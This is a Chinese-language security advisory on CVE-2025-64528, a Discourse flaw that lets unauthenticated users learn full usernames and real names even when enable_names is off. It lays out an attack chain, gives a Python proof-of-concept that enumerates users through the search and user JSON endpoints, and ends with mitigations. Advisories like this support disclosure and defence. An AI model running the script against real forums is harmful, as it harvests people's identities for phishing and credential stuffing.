IPBUF安全漏洞报告
English
CVE-2025-64528 CVSS 5.3 中危

CVE-2025-64528 Discourse用户名枚举信息泄露漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-64528
漏洞类型
信息泄露/访问控制绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

CVE-2025-64528Discourse信息泄露用户名枚举访问控制绕过隐私泄露中危漏洞无需认证API安全

漏洞概述

CVE-2025-64528是Discourse开源讨论平台中的一个信息泄露漏洞。该漏洞影响3.5.3、2025.11.1和2025.12.0之前的版本。攻击者只需知道目标用户的部分用户名,即可通过用户界面(UI)或API接口获取该用户的完整用户名和全名。值得注意的是,即使管理员在系统设置中禁用了`enable_names`选项(该选项本应限制用户名的可见性),攻击者仍然能够获取这些敏感信息。这一漏洞严重违反了用户隐私保护机制,可能导致用户隐私数据被未授权访问。Discourse作为一个广泛使用的社区讨论平台,拥有大量活跃用户,该漏洞的存在使得攻击者可以大规模枚举平台用户信息,进而为后续社会工程攻击、钓鱼攻击或其他恶意活动提供便利。由于该漏洞无需认证即可利用,且攻击复杂度较低,因此对所有使用受影响版本Discourse的组织构成实质性安全风险。

技术细节

该漏洞的根本原因在于Discourse在处理用户搜索和查询请求时存在访问控制缺陷。当用户发起搜索或查询操作时,系统未能正确验证请求者是否具有查看其他用户完整信息的权限。具体而言,即使`enable_names`设置被禁用,系统后端API仍然返回完整的用户名和显示名称(display name)数据。攻击者可以利用标准的用户搜索功能或直接调用API端点(如`/search/users`或`/u/{username}.json`等),输入目标用户的部分用户名或常见用户名模式,系统便会返回匹配用户的完整信息。漏洞利用的关键在于API响应中包含了不应公开的敏感字段,且前端未能正确过滤这些信息。攻击者可以通过自动化脚本遍历常见用户名组合,实现大规模用户信息收集。此外,该漏洞还可能与其他Discourse功能(如提及功能、消息功能)结合使用,进一步扩大信息泄露的范围。

攻击链分析

STEP 1
步骤1
攻击者访问目标Discourse论坛,无需任何认证凭证
STEP 2
步骤2
攻击者使用搜索功能或API端点,输入目标用户的部分用户名
STEP 3
步骤3
系统API响应返回匹配用户的完整用户名、全名和其他元数据
STEP 4
步骤4
即使enable_names被禁用,攻击者仍能获取敏感信息
STEP 5
步骤5
攻击者通过自动化脚本枚举大量用户,构建用户数据库
STEP 6
步骤6
利用收集的用户信息进行后续攻击,如社会工程、钓鱼或凭证填充攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64528 PoC - Discourse Username Enumeration import requests import json TARGET_HOST = "https://forum.example.com" # Replace with target PARTIAL_USERNAME = "admin" # Partial username to search def check_discourse_version(): """Check Discourse version""" try: response = requests.get(f"{TARGET_HOST}/about.json", timeout=10) if response.status_code == 200: data = response.json() version = data.get('version', 'unknown') print(f"[*] Discourse Version: {version}") return version except Exception as e: print(f"[!] Error checking version: {e}") return None def enumerate_users(partial_username): """Enumerate users via search API""" print(f"[*] Enumerating users with partial username: {partial_username}") # Try search endpoint search_url = f"{TARGET_HOST}/search.json" params = { 'q': partial_username, 'type': 'user' } try: response = requests.get(search_url, params=params, timeout=10) if response.status_code == 200: data = response.json() users = data.get('users', []) if users: print(f"[+] Found {len(users)} user(s):") for user in users: print(f" - Username: {user.get('username')}") print(f" Display Name: {user.get('name', 'N/A')}") print(f" ID: {user.get('id')}") print() else: print("[-] No users found via search endpoint") except Exception as e: print(f"[!] Error during enumeration: {e}") def direct_api_check(username): """Directly check user via API""" print(f"[*] Checking user directly: {username}") user_url = f"{TARGET_HOST}/u/{username}.json" try: response = requests.get(user_url, timeout=10) if response.status_code == 200: data = response.json() user_data = data.get('user', {}) print(f"[+] User found via direct API:") print(f" - Username: {user_data.get('username')}") print(f" Name: {user_data.get('name', 'N/A')}") print(f" Title: {user_data.get('title', 'N/A')}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("=" * 50) print("CVE-2025-64528 - Discourse User Enumeration") print("=" * 50) version = check_discourse_version() if version: enumerate_users(PARTIAL_USERNAME) # Try common usernames for common_name in ['admin', 'test', 'user', 'demo']: direct_api_check(common_name)

影响范围

Discourse < 3.5.3
Discourse < 2025.11.1
Discourse < 2025.12.0

防御指南

临时缓解措施
如果无法立即升级,可通过Web应用防火墙(WAF)限制搜索API的访问频率,添加速率限制规则防止自动化枚举。同时,审查并限制API端点的响应数据,确保敏感字段在特定条件下不返回。密切监控异常的用户查询模式,对来自单一IP的大量搜索请求进行告警和阻断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表